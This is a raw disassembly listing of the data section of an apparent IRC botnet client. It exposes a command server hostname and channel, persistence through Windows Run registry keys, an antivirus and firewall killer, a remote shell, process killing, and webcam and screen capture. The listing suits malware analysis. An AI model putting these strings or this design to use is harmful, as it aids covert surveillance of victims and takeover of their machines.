aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D084o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D084h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_43D09C	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_43D09C
		dd offset dword_427E18+4
off_427E40	dd offset off_43D0BC	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_43D0BC
		dd offset unk_427E68
off_427E8C	dd offset off_43D0DC	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_43D0DC
		dd offset dword_427EB0+4
off_427ED8	dd offset off_43D100	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D100
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_43D084
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D084
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D09C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D0BC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D0DC
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
		dd 5 dup(25215992h), 5 dup(5E1C4FE0h), 5 dup(2C89538Ah)
		dd 7Ah dup(0)
		dd 2C89538Ah, 0
		dd 25215992h, 15h dup(0)
		dd 5E1C4FE0h, 2FCh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 6Dh			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 73h,	6Eh, 6Dh
		dd 7261676Eh, 6578652Eh, 0
dword_429118	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServceA	db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A2o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FBo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd 0
		dd offset dword_43D128
		dd offset aAdministrato_0 ; "administrator"
		align 10h
dword_429230	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042921Co
					; ___:00429228o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4292D0	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429304	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 10h
unk_429330	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_429370	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429394	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_4293B0	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_4293BC	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
dword_4293C4	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_4293CC	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_429434	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429454	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_429474	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 4
unk_4294C8	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 4
asc_429548:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_42954C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_429570	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_429598	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_4295BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_4295E0	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429604	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429628	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_429644	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429670	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429694	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4296BC	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_4296E8	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429710	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429734	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429754	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42977C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_4297A4	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4297C4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_4297F4	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429814	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429844	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429868	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_429884	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_4298A8	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_4298C0	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429900	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_429918	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_429934	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_429954	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42996C	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_429998:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42999C	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_4299C0	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_4299E4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_429A24	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_429A64	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
unk_429A98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_429AD0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_429B04	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_429B38	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_429B60	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_429B90	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_429BCC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_429BFC	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_429C30	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_429C4C	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_429C7C	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_429CA4	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_429CC4	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_429CE4	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_429D00	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_429D14	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_429D20	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
